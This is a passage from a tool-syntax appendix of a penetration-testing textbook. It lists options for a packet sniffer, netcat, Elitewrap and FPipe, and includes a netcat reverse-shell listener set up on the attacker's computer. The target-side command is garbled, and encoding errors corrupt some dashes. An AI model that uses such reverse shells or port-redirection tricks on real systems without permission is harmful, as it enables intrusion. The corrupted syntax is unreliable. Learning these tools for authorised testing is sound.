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Mark D. Spivey

"Practical Hacking Techniques and Countermeasures"


-n Do not resolve IP addresses to hostnames.
-i interface Specify the interface to listen on.
-s snaplen Analyze at most the first snaplen bytes of each
TCP connection, rather than the default of 1024.
-f services Load triggers from a services file.
-t trigger[,...] Load triggers from a comma-separated list,
specified as port/proto=service (e.g., 80/tcp=http).
-r savefile Read sniffed sessions from a savefile created
with the -w option.
-w file Write sniffed sessions to savefile rather than parsing
and printing them out.
expression Specify a tcpdump(8) filter expression to select
traffic to sniff.
Achilles Syntax options within the GUI.
Netcat See above.
Reverse
Shell
Open a listening netcat session on the attacker??™s
computer:
nc ??“l ??“n ??“v ??“p 8080
Initiate the connection to the attacker from the target
computer:
rx
Chapter 10 PortMapper Syntax options within the GUI.
Elitewrap elitewrap.exe [scriptfile]
Syntax options within the GUI.
Fpipe FPipe [-hvu?] [-lrs ] [-i IP] IP
Options:
-?/-h Shows this help text.
-c Maximum allowed simultaneous TCP connections.
Default is 32.
-i Listening interface IP address.
-l Listening port number.
-r Remote port number.
-s Outbound source port number.
-u UDP mode.
-v Verbose mode.
722  Practical Hacking Techniques and Countermeasures
Chapter Tool Syntax
Chapter 10
(continued)
Fpipe Example:
fpipe -l 53 -s 53 -r 80 192.


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